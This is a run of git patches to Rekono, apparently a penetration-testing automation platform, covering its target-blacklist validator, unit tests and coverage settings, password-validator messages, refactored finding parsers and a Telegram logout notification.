b/src/backend/users/models.py @@ -29,7 +29,7 @@ class RekonoUserManager(UserManager): def generate_otp(self, model: Any = None) -> str: otp = hash(generate_random_value(3000)) - if (model or User).objects.filter(otp=hash(otp)).exists(): + if (model or User).objects.filter(otp=hash(otp)).exists(): # pragma: no cover return self.generate_otp(model) return otp @@ -151,10 +151,7 @@ def disable_user(self, user: Any) -> Any: user.otp_expiration = None user.projects.clear() # Clear its projects user.save(update_fields=["otp", "otp_expiration", "is_active"]) - try: - ApiToken.objects.filter(user=user).delete() - except ApiToken.DoesNotExist: - pass + ApiToken.objects.filter(user=user).delete() logger.info(f"[User] User {user.id} has been disabled") return user From 412eb615e5ee6b8b99541e29520ae424bc7def12 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 19:48:16 +0100 Subject: [PATCH 088/141] Remove debugging inputs --- src/backend/security/target_validator.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/backend/security/target_validator.py b/src/backend/security/target_validator.py index 16789f17a..2d99e9fa0 100644 --- a/src/backend/security/target_validator.py +++ b/src/backend/security/target_validator.py @@ -29,8 +29,6 @@ def __init__( def __call__(self, value: str | None) -> None: super().__call__(value) - input(TargetBlacklist.objects.all().values_list("target", flat=True)) - input(self.target_blacklist) if value in self.target_blacklist: raise ValidationError( f"Target is disallowed by policy", From 1df3e5470418254e5b1711ac68fa8f726f8dff47 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 20:45:59 +0100 Subject: [PATCH 089/141] Remove debugging prints --- src/backend/tests/cases.py | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index ff4781d3c..2df18099b 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -60,12 +60,7 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: data=self.data or None, format=self.format, ) - try: - self.tc.assertEqual(self.status_code, response.status_code) - except Exception as ex: - print(response.content) - print(self.expected) - raise ex + self.tc.assertEqual(self.status_code, response.status_code) content = json.loads((response.content or "{}".encode()).decode()) if self.expected is not None: if isinstance(self.expected, dict): From 85441b4495e9278b6b0cda7278af1caced258844 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 21:50:20 +0100 Subject: [PATCH 090/141] Fix error in target validator --- src/backend/security/target_validator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/backend/security/target_validator.py b/src/backend/security/target_validator.py index 2d99e9fa0..4b7c5c659 100644 --- a/src/backend/security/target_validator.py +++ b/src/backend/security/target_validator.py @@ -39,7 +39,7 @@ def __call__(self, value: str | None) -> None: try: match = re.fullmatch(denied_value, value) except: - continue + match = None if match: raise ValidationError( f"Target is disallowed by policy", From 3d6bc24df9775affe56af1983f0b7a5031106883 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 22:46:26 +0100 Subject: [PATCH 091/141] Disable some tests for debugging --- src/backend/tests/test_target_blacklist.py | 42 +++++++++++----------- 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/src/backend/tests/test_target_blacklist.py b/src/backend/tests/test_target_blacklist.py index 3da479b92..e155b69b2 100644 --- a/src/backend/tests/test_target_blacklist.py +++ b/src/backend/tests/test_target_blacklist.py @@ -66,27 +66,27 @@ class TargetBlacklistTest(ApiTest): data=target_blacklist3, expected={"id": 16, "default": False, **target_blacklist3}, ), - ApiTestCase( - ["admin1", "auditor1"], - "post", - 400, - {"project": 1, "target": "rekono.com"}, - endpoint="/api/targets/", - ), - ApiTestCase( - ["admin1", "auditor1"], - "post", - 400, - {"project": 1, "target": "subdomain.rekono.com"}, - endpoint="/api/targets/", - ), - ApiTestCase( - ["admin1", "auditor1"], - "post", - 400, - {"project": 1, "target": "10.10.10.1"}, - endpoint="/api/targets/", - ), + # ApiTestCase( + # ["admin1", "auditor1"], + # "post", + # 400, + # {"project": 1, "target": "rekono.com"}, + # endpoint="/api/targets/", + # ), + # ApiTestCase( + # ["admin1", "auditor1"], + # "post", + # 400, + # {"project": 1, "target": "subdomain.rekono.com"}, + # endpoint="/api/targets/", + # ), + # ApiTestCase( + # ["admin1", "auditor1"], + # "post", + # 400, + # {"project": 1, "target": "10.10.10.1"}, + # endpoint="/api/targets/", + # ), ApiTestCase( ["admin1", "admin2"], "put", From 26787d6d60ca0b75f460c7fa56b78a08392e3738 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 10:09:24 +0100 Subject: [PATCH 092/141] Improve unit tests coverage --- .github/workflows/unit-tests.yml | 2 +- src/backend/framework/views.py | 2 +- src/backend/tests/test_users.py | 26 ++++++++++++++++++++++---- src/backend/users/models.py | 2 +- 4 files changed, 25 insertions(+), 7 deletions(-) diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index 11e29225a..ce10b3ea9 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -37,4 +37,4 @@ jobs: - name: Check coverage working-directory: src/backend - run: coverage report -m --skip-covered --omit="tests/**" --omit="platforms/telegram_app/bot/**" --omit="platforms/telegram_app/framework.py" --omit="platforms/**/notifications.py" --fail-under=$REQUIRED_COVERAGE + run: coverage report -m --skip-covered --omit="tests/*,platforms/telegram_app/bot/*,platforms/telegram_app/framework.py,platforms/**/notifications.py" --fail-under=$REQUIRED_COVERAGE diff --git a/src/backend/framework/views.py b/src/backend/framework/views.py index 665be8314..7ba04053e 100644 --- a/src/backend/framework/views.py +++ b/src/backend/framework/views.py @@ -58,7 +58,7 @@ def get_queryset(self) -> QuerySet: if self.request.user.id: project_filter = {members_field: self.request.user} return super().get_queryset().filter(**project_filter) - else: # pargma: no cover + else: # pragma: no cover return None return super().get_queryset() diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index 803efe69e..38acad7d0 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -1,6 +1,7 @@ from typing import Any from platforms.mail.notifications import SMTP +from platforms.telegram_app.models import TelegramChat from security.authorization.roles import Role from security.cryptography.hashing import hash from tests.cases import ApiTestCase @@ -21,10 +22,10 @@ } new_valid_password = "NeW.Pa$$W0rd" invalid_password1 = "new;password" -invalid_password2 = "NEWPASSWORD" -invalid_password3 = "newpassword" -invalid_password4 = "NEWpassword" -invalid_password5 = "NEWpassword5" +invalid_password2 = "ANEWPASSWORD" +invalid_password3 = "anewpassword" +invalid_password4 = "aNEWpassword" +invalid_password5 = "aNEWpassword5" user1 = { "username": "test1", @@ -512,6 +513,21 @@ class Profile(ApiTest): ), ] + def setUp(self) -> None: + super().setUp() + self.admin1_telegram_chat = TelegramChat.objects.create( + user=self.admin1, chat_id=1 + ) + + def test_cases(self) -> None: + self.assertEqual( + self.admin1_telegram_chat.chat_id, self.admin1.telegram_chat.chat_id + ) + super().test_cases() + # Linked Telegram Chats are removed after a password change + self.admin1 = User.objects.get(pk=self.admin1.id) + self.assertFalse(hasattr(self.admin1, "telegram_chat")) + def test_notification_scope(self) -> None: self._setup_tasks_and_executions() notification = SMTP() @@ -536,6 +552,8 @@ def test_notification_scope(self) -> None: self.assertEqual(self.auditor1, users_to_notify[0]) self.assertEqual(self.reader1, users_to_notify[1]) + notification.process_findings(self.execution1, []) + class ResetPasswordTest(ApiTest): endpoint = "/api/security/reset-password/" diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 19c25a7e4..3cce4be99 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -1,6 +1,6 @@ import logging from datetime import datetime, timedelta -from typing import Any, List, cast +from typing import Any, cast from django.contrib.auth.models import AbstractUser, Group, UserManager from django.db import models From f19766a3546309ee25e08692ddacfd10eff1e63a Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 10:39:09 +0100 Subject: [PATCH 093/141] Get target blacklist dynamically for each validation --- src/backend/security/target_validator.py | 13 +++---- src/backend/tests/test_target_blacklist.py | 42 +++++++++++----------- 2 files changed, 25 insertions(+), 30 deletions(-) diff --git a/src/backend/security/target_validator.py b/src/backend/security/target_validator.py index 4b7c5c659..35e0727cc 100644 --- a/src/backend/security/target_validator.py +++ b/src/backend/security/target_validator.py @@ -1,7 +1,7 @@ import ipaddress import re from re import RegexFlag -from typing import Any +from typing import Any, List from django.core.validators import RegexValidator from django.forms import ValidationError @@ -20,22 +20,17 @@ def __init__( self.code = code flags = None # Needed to prevent TypeError super().__init__(regex, message, code, inverse_match, flags) - try: - self.target_blacklist = TargetBlacklist.objects.all().values_list( - "target", flat=True - ) - except: # pragma: no cover - self.target_blacklist = [] def __call__(self, value: str | None) -> None: super().__call__(value) - if value in self.target_blacklist: + blacklist = TargetBlacklist.objects.all().values_list("target", flat=True) + if value in blacklist: raise ValidationError( f"Target is disallowed by policy", code=self.code, params={"value": value}, ) - for denied_value in self.target_blacklist: + for denied_value in blacklist: try: match = re.fullmatch(denied_value, value) except: diff --git a/src/backend/tests/test_target_blacklist.py b/src/backend/tests/test_target_blacklist.py index e155b69b2..3da479b92 100644 --- a/src/backend/tests/test_target_blacklist.py +++ b/src/backend/tests/test_target_blacklist.py @@ -66,27 +66,27 @@ class TargetBlacklistTest(ApiTest): data=target_blacklist3, expected={"id": 16, "default": False, **target_blacklist3}, ), - # ApiTestCase( - # ["admin1", "auditor1"], - # "post", - # 400, - # {"project": 1, "target": "rekono.com"}, - # endpoint="/api/targets/", - # ), - # ApiTestCase( - # ["admin1", "auditor1"], - # "post", - # 400, - # {"project": 1, "target": "subdomain.rekono.com"}, - # endpoint="/api/targets/", - # ), - # ApiTestCase( - # ["admin1", "auditor1"], - # "post", - # 400, - # {"project": 1, "target": "10.10.10.1"}, - # endpoint="/api/targets/", - # ), + ApiTestCase( + ["admin1", "auditor1"], + "post", + 400, + {"project": 1, "target": "rekono.com"}, + endpoint="/api/targets/", + ), + ApiTestCase( + ["admin1", "auditor1"], + "post", + 400, + {"project": 1, "target": "subdomain.rekono.com"}, + endpoint="/api/targets/", + ), + ApiTestCase( + ["admin1", "auditor1"], + "post", + 400, + {"project": 1, "target": "10.10.10.1"}, + endpoint="/api/targets/", + ), ApiTestCase( ["admin1", "admin2"], "put", From 3483dc762c8710316f7f1abfd25383e8dda123ee Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 17:56:02 +0100 Subject: [PATCH 094/141] Improve unit tests coverage for PasswordValidator and TargetBlacklist --- src/backend/security/input_validator.py | 5 ++--- src/backend/tests/test_target_blacklist.py | 9 +++++++++ src/backend/tests/test_users.py | 2 +- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/src/backend/security/input_validator.py b/src/backend/security/input_validator.py index c9f6d5206..8a45799ea 100644 --- a/src/backend/security/input_validator.py +++ b/src/backend/security/input_validator.py @@ -68,7 +68,6 @@ class PasswordValidator: uppercase = r"[A-Z]" # At least one uppercase digits = r"[0-9]" # At least one digit symbols = r"[\W]" # At least one symbol - message = "Your password must contain at least 1 lowercase, 1 uppercase, 1 digit and 1 symbol" def validate(self, password: str, user: Any = None) -> None: """Validate if password match the complexity requirements. @@ -81,7 +80,7 @@ def validate(self, password: str, user: Any = None) -> None: ValidationError: Raised if password doesn't match the complexity requirements """ if not bool(re.fullmatch(self.full_match, password)): # Full check - raise ValidationError(self.message) + raise ValidationError(self.get_help_text()) if not bool(re.search(self.lowercase, password)): # Lower case check raise ValidationError("Your password must contain at least 1 lowercase") if not bool(re.search(self.uppercase, password)): # Upper case check @@ -97,4 +96,4 @@ def get_help_text(self) -> str: Returns: str: Help message """ - return self.message + return "Your password must contain at least 1 lowercase, 1 uppercase, 1 digit and 1 symbol" diff --git a/src/backend/tests/test_target_blacklist.py b/src/backend/tests/test_target_blacklist.py index 3da479b92..76b13782b 100644 --- a/src/backend/tests/test_target_blacklist.py +++ b/src/backend/tests/test_target_blacklist.py @@ -7,6 +7,7 @@ default_blacklist_1 = {"id": 1, "default": True, "target": "127.0.0.1"} target_blacklist1 = {"target": "rekono.com"} target_blacklist2 = {"target": ".*\.rekono\.com"} +invalid_regex_blacklist = {"target": ".*.rekono.com"} target_blacklist3 = {"target": "10.10.10.0/24"} new_target_blacklist = {"target": ".*\.new\.rekono.com"} invalid_blacklist = {"target": "*.rekono;com"} @@ -87,6 +88,13 @@ class TargetBlacklistTest(ApiTest): {"project": 1, "target": "10.10.10.1"}, endpoint="/api/targets/", ), + ApiTestCase( + ["admin1"], + "post", + 201, + data=invalid_regex_blacklist, + expected={"id": 17, "default": False, **invalid_regex_blacklist}, + ), ApiTestCase( ["admin1", "admin2"], "put", @@ -126,6 +134,7 @@ class TargetBlacklistTest(ApiTest): ApiTestCase(["admin1"], "delete", 404, endpoint="{endpoint}14/"), ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}15/"), ApiTestCase(["admin2"], "delete", 204, endpoint="{endpoint}16/"), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}17/"), ApiTestCase( ["admin1", "admin2"], "get", diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index 38acad7d0..1085639a2 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -21,7 +21,7 @@ "telegram_notifications": False, } new_valid_password = "NeW.Pa$$W0rd" -invalid_password1 = "new;password" +invalid_password1 = "abcd" invalid_password2 = "ANEWPASSWORD" invalid_password3 = "anewpassword" invalid_password4 = "aNEWpassword" From d4600139d4f459649aa58b7a5b078da2d702fd22 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 17:58:43 +0100 Subject: [PATCH 095/141] Fix error in TargetBlacklist test --- src/backend/tests/test_target_blacklist.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/backend/tests/test_target_blacklist.py b/src/backend/tests/test_target_blacklist.py index 76b13782b..05f1637a6 100644 --- a/src/backend/tests/test_target_blacklist.py +++ b/src/backend/tests/test_target_blacklist.py @@ -7,7 +7,7 @@ default_blacklist_1 = {"id": 1, "default": True, "target": "127.0.0.1"} target_blacklist1 = {"target": "rekono.com"} target_blacklist2 = {"target": ".*\.rekono\.com"} -invalid_regex_blacklist = {"target": ".*.rekono.com"} +invalid_regex_blacklist = {"target": "*.rekono.com"} target_blacklist3 = {"target": "10.10.10.0/24"} new_target_blacklist = {"target": ".*\.new\.rekono.com"} invalid_blacklist = {"target": "*.rekono;com"} From 76dcebb2630cf4edf99e1fbea7fabf02788f0643 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 18:06:33 +0100 Subject: [PATCH 096/141] Fix error in TargetBlacklist test --- src/backend/tests/test_target_blacklist.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/src/backend/tests/test_target_blacklist.py b/src/backend/tests/test_target_blacklist.py index 05f1637a6..3528effd3 100644 --- a/src/backend/tests/test_target_blacklist.py +++ b/src/backend/tests/test_target_blacklist.py @@ -67,6 +67,13 @@ class TargetBlacklistTest(ApiTest): data=target_blacklist3, expected={"id": 16, "default": False, **target_blacklist3}, ), + ApiTestCase( + ["admin1"], + "post", + 201, + data=invalid_regex_blacklist, + expected={"id": 17, "default": False, **invalid_regex_blacklist}, + ), ApiTestCase( ["admin1", "auditor1"], "post", @@ -88,13 +95,6 @@ class TargetBlacklistTest(ApiTest): {"project": 1, "target": "10.10.10.1"}, endpoint="/api/targets/", ), - ApiTestCase( - ["admin1"], - "post", - 201, - data=invalid_regex_blacklist, - expected={"id": 17, "default": False, **invalid_regex_blacklist}, - ), ApiTestCase( ["admin1", "admin2"], "put", From b34ac9693d2379b2e9ae08602c5c88dc8957b2da Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 18:28:22 +0100 Subject: [PATCH 097/141] Improve unit tests coverage in findings models --- src/backend/findings/models.py | 12 +++++------- src/backend/tests/executors/test_base.py | 6 +++--- src/backend/tests/framework.py | 2 +- 3 files changed, 9 insertions(+), 11 deletions(-) diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index 9b701c8d2..5c116ceb4 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -30,13 +30,11 @@ class OSINT(Finding): def parse( self, target: Target = None, accumulated: Dict[str, Any] = {} ) -> Dict[str, Any]: - if self.data_type in [OSINTDataType.IP, OSINTDataType.DOMAIN]: - return { - InputKeyword.TARGET.name.lower(): self.data, - InputKeyword.HOST.name.lower(): self.data, - InputKeyword.URL.name.lower(): self._get_url(self.data), - } - return {} + return { + InputKeyword.TARGET.name.lower(): self.data, + InputKeyword.HOST.name.lower(): self.data, + InputKeyword.URL.name.lower(): self._get_url(self.data), + } if self.data_type in [OSINTDataType.IP, OSINTDataType.DOMAIN] else {} def defect_dojo(self) -> Dict[str, Any]: return { diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index 802356774..5eafffaa4 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -67,14 +67,14 @@ def test_get_arguments_only_findings(self) -> None: @mock.patch("framework.models.BaseInput._get_url", get_url) def test_get_arguments_only_required_findings(self) -> None: self._success_get_arguments( - "-p http://10.10.10.10:80/ -p 80 -p WordPress -p CVE-2023-1111", + "-p 10.10.10.10 -p http://10.10.10.10:80/ -p 80 -p WordPress -p CVE-2023-1111", [self.host, self.port, self.technology, self.vulnerability], ) @mock.patch("framework.models.BaseInput._get_url", get_url) def test_get_arguments_multiple_ports(self) -> None: self._success_get_arguments( - "-p http://10.10.10.10:80/ -p 80,443 -p WordPress -p CVE-2023-1111", + "-p 10.10.10.10 -p http://10.10.10.10:80/ -p 80,443 -p WordPress -p CVE-2023-1111", [ self.host, self.port, @@ -90,7 +90,7 @@ def _test_get_arguments_no_findings(self) -> None: self.target.target = "10.10.10.12" self.target.save(update_fields=["target"]) self._success_get_arguments( - f"-p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p {base64.b64encode('root:root'.encode()).decode() if self.authentication.type == AuthenticationType.BASIC else 'root'} -p {self.wordlist.path}", + f"-p 10.10.10.10 -p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p {base64.b64encode('root:root'.encode()).decode() if self.authentication.type == AuthenticationType.BASIC else 'root'} -p {self.wordlist.path}", [], [self.target_port], [self.input_vulnerability], diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index ab803e3c5..70bfefe64 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -118,7 +118,7 @@ def _setup_fake_tool(self) -> None: default=True, ) for value, required, multiple, input_type_names in [ - ("host", False, False, [InputTypeName.OSINT]), + ("host", False, False, [InputTypeName.OSINT, InputTypeName.HOST]), ( "url", True, From 82c85140dd66220a926a59eb430df627afd8615e Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 19:11:40 +0100 Subject: [PATCH 098/141] Improve unit tests coverage in findings models --- src/backend/findings/models.py | 54 +++++++++++++++--------- src/backend/tests/executors/test_base.py | 27 ++++++++++++ 2 files changed, 62 insertions(+), 19 deletions(-) diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index 5c116ceb4..992d67604 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -30,11 +30,15 @@ class OSINT(Finding): def parse( self, target: Target = None, accumulated: Dict[str, Any] = {} ) -> Dict[str, Any]: - return { - InputKeyword.TARGET.name.lower(): self.data, - InputKeyword.HOST.name.lower(): self.data, - InputKeyword.URL.name.lower(): self._get_url(self.data), - } if self.data_type in [OSINTDataType.IP, OSINTDataType.DOMAIN] else {} + return ( + { + InputKeyword.TARGET.name.lower(): self.data, + InputKeyword.HOST.name.lower(): self.data, + InputKeyword.URL.name.lower(): self._get_url(self.data), + } + if self.data_type in [OSINTDataType.IP, OSINTDataType.DOMAIN] + else {} + ) def defect_dojo(self) -> Dict[str, Any]: return { @@ -165,31 +169,43 @@ class Path(Finding): Finding.Filter(str, "path", contains=True, processor=lambda p: p.lower()), ] - def _clean_path_value(self, value: str) -> str: + def _clean_comparison_path(self, value: str) -> str: if len(value) > 1: - if value[0] != "/": - value = f"/{value}" + value = self._clean_path(value) if value[-1] != "/": value += "/" return value + def _clean_path(self, value: str) -> str: + return f"/{value}" if len(value) > 1 and value[0] != "/" else value + def parse( self, target: Target = None, accumulated: Dict[str, Any] = {} ) -> Dict[str, Any]: - output = self.port.parse(target, accumulated) if self.port else {} target_port = TargetPort.objects.filter(target=target, port=self.port.port) - include_path_data = True if target_port.exists(): - include_path_data = self._clean_path_value(self.path).startswith( - self._clean_path_value(target_port.first().path or self.path) - ) - if include_path_data: - output[InputKeyword.ENDPOINT.name.lower()] = self.path - if self.port: - output[InputKeyword.URL.name.lower()] = self._get_url( - self.port.host.address, self.port.port, self.path + target_port_path = target_port.first().path + path = ( + self.path + if target_port_path + and self._clean_comparison_path(self.path).startswith( + self._clean_comparison_path(target_port_path) ) - return output + else target_port_path + ) + else: + path = self.path + output = ( + { + **self.port.parse(target, accumulated), + InputKeyword.URL.name.lower(): self._get_url( + self.port.host.address, self.port.port, self._clean_path(path) + ), + } + if self.port + else {} + ) + return {**output, InputKeyword.ENDPOINT.name.lower(): self._clean_path(path)} def defect_dojo(self) -> Dict[str, Any]: return { diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index 5eafffaa4..1b0ed23b3 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -63,6 +63,16 @@ def test_get_arguments_only_findings(self) -> None: "-p 10.10.10.11 -p http://10.10.10.10:80/index.php -p 80 -p /index.php -p WordPress -p admin -p CVE-2023-1111 -p ReverseShell", self.findings, ) + self.vulnerability.technology = None + self.vulnerability.port = self.port + self.vulnerability.save(update_fields=["port", "technology"]) + self.exploit.vulnerability = None + self.exploit.technology = self.technology + self.exploit.save(update_fields=["vulnerability", "technology"]) + self._success_get_arguments( + "-p 10.10.10.11 -p http://10.10.10.10:80/index.php -p 80 -p /index.php -p WordPress -p admin -p CVE-2023-1111 -p ReverseShell", + self.findings, + ) @mock.patch("framework.models.BaseInput._get_url", get_url) def test_get_arguments_only_required_findings(self) -> None: @@ -86,6 +96,23 @@ def test_get_arguments_multiple_ports(self) -> None: ], ) + @mock.patch("framework.models.BaseInput._get_url", get_url) + def test_get_arguments_with_path_filter(self) -> None: + self._setup_task_user_provided_entities() + self._success_get_arguments( + "-p 10.10.10.10 -p http://10.10.10.10:80/login.php -p 80 -p /login.php -p WordPress -p CVE-2023-1111 -p root", + [self.port, self.path, self.technology, self.vulnerability], + ) + self.path.path = "rootpath/test" + self.path.save(update_fields=["path"]) + self.target_port.path = "rootpath" + self.target_port.save(update_fields=["path"]) + self._success_get_arguments( + "-p 10.10.10.10 -p http://10.10.10.10:80/rootpath/test -p 80 -p /rootpath/test -p WordPress -p CVE-2023-1111 -p root", + [self.port, self.path, self.technology, self.vulnerability], + ) + + @mock.patch("framework.models.BaseInput._get_url", get_url) def _test_get_arguments_no_findings(self) -> None: self.target.target = "10.10.10.12" self.target.save(update_fields=["target"]) From a1cac74f465613521d7fd5bac30f8d230996e02b Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 22:38:13 +0100 Subject: [PATCH 099/141] Notify Telegram users when their session is closed automatically due to a password change --- .../platforms/telegram_app/notifications/notifications.py | 6 ++++++ src/backend/users/serializers.py | 5 ++++- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/src/backend/platforms/telegram_app/notifications/notifications.py b/src/backend/platforms/telegram_app/notifications/notifications.py index abbb141a4..61c94e412 100644 --- a/src/backend/platforms/telegram_app/notifications/notifications.py +++ b/src/backend/platforms/telegram_app/notifications/notifications.py @@ -63,3 +63,9 @@ def welcome_message(self, chat: TelegramChat) -> None: chat, f"Welcome *{self._escape(chat.user.username)}*\! Your Rekono bot is ready", ) + + def logout_after_password_change_message(self, chat: TelegramChat) -> None: + self._send_message( + chat, + "Your session in the Rekono bot has been closed after your password change. Please, execute /start to link it again", + ) diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index d0b2452bf..b1f5f3658 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -4,6 +4,7 @@ from django.contrib.auth.password_validation import validate_password from django.db import transaction from django.utils import timezone +from platforms.telegram_app.notifications.notifications import Telegram from rest_framework import status from rest_framework.exceptions import AuthenticationFailed from rest_framework.fields import SerializerMethodField @@ -255,7 +256,9 @@ def update(self, instance: User, validated_data: Dict[str, Any]) -> User: Returns: User: Updated instance """ - return User.objects.update_password(instance, validated_data.get("password")) + user = User.objects.update_password(instance, validated_data.get("password")) + Telegram().logout_after_password_change_message() + return user class ResetPasswordSerializer(PasswordSerializer, OTPSerializer): From 1e3371eb10efadb863508bd1caaaf3acdf72ef48 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 22:38:42 +0100 Subject: [PATCH 100/141] Apply TargetPort path filter as filter instead of within the Path parser --- src/backend/authentications/models.py | 20 +++--- src/backend/findings/models.py | 78 ++++++++++-------------- src/backend/framework/models.py | 9 +-- src/backend/parameters/models.py | 17 +++--- src/backend/target_ports/models.py | 39 +++++------- src/backend/targets/models.py | 4 +- src/backend/tests/executors/test_base.py | 2 +- src/backend/tools/executors/base.py | 8 +-- src/backend/wordlists/models.py | 8 +-- 9 files changed, 74 insertions(+), 111 deletions(-) diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index 02768f1c2..d6134032a 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -38,9 +38,7 @@ class Authentication(BaseInput, BaseEncrypted): filters = [BaseInput.Filter(type=AuthenticationType, field="type")] _encrypted_field = "_secret" - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: @@ -49,31 +47,27 @@ def parse( Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = { + return { InputKeyword.COOKIE_NAME.name.lower(): self.name if self.type == AuthenticationType.COOKIE else None, InputKeyword.SECRET.name.lower(): self.secret, InputKeyword.CREDENTIAL_TYPE.name.lower(): self.type, InputKeyword.CREDENTIAL_TYPE_LOWER.name.lower(): self.type.lower(), - } - if self.type == AuthenticationType.BASIC: - output.update( + **( { InputKeyword.USERNAME.name.lower(): self.name, InputKeyword.TOKEN.name.lower(): base64.b64encode( f"{self.name}:{self.secret}".encode() ).decode(), } - ) - else: - output.update( - { + if self.type == AuthenticationType.BASIC + else { InputKeyword.USERNAME.name.lower(): None, InputKeyword.TOKEN.name.lower(): self.secret, } - ) - return output + ), + } def __str__(self) -> str: """Instance representation in text format. diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index 992d67604..619ffb8bb 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -27,9 +27,7 @@ class OSINT(Finding): unique_fields = ["data", "data_type"] - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: return ( { InputKeyword.TARGET.name.lower(): self.data, @@ -65,9 +63,7 @@ class Host(Finding): unique_fields = ["address"] filters = [Finding.Filter(TargetType, "address", lambda a: Target.get_type(a))] - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: return { InputKeyword.TARGET.name.lower(): self.address, InputKeyword.HOST.name.lower(): self.address, @@ -109,9 +105,7 @@ class Port(Finding): Finding.Filter(str, "service", contains=True, processor=lambda s: s.lower()), ] - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: ports = ( [self.port] if not accumulated @@ -176,36 +170,34 @@ def _clean_comparison_path(self, value: str) -> str: value += "/" return value - def _clean_path(self, value: str) -> str: - return f"/{value}" if len(value) > 1 and value[0] != "/" else value - - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: - target_port = TargetPort.objects.filter(target=target, port=self.port.port) - if target_port.exists(): - target_port_path = target_port.first().path - path = ( - self.path - if target_port_path - and self._clean_comparison_path(self.path).startswith( - self._clean_comparison_path(target_port_path) + def filter(self, input: Any, target: Target = None) -> bool: + filter = super().filter(input, target) + if self.port: + target_port = TargetPort.objects.filter( + target=target, port=self.port.port + ).first() + if target_port and target_port.path: + filter = filter and self._clean_comparison_path(self.path).startswith( + self._clean_comparison_path(target_port.path) ) - else target_port_path - ) - else: - path = self.path + return filter + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + path = self._clean_path(self.path) output = ( { - **self.port.parse(target, accumulated), + **self.port.parse(accumulated), InputKeyword.URL.name.lower(): self._get_url( - self.port.host.address, self.port.port, self._clean_path(path) + self.port.host.address, self.port.port, path ), } if self.port else {} ) - return {**output, InputKeyword.ENDPOINT.name.lower(): self._clean_path(path)} + return { + **output, + InputKeyword.ENDPOINT.name.lower(): path, + } def defect_dojo(self) -> Dict[str, Any]: return { @@ -244,9 +236,7 @@ class Technology(Finding): Finding.Filter(str, "name", contains=True, processor=lambda n: n.lower()) ] - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, 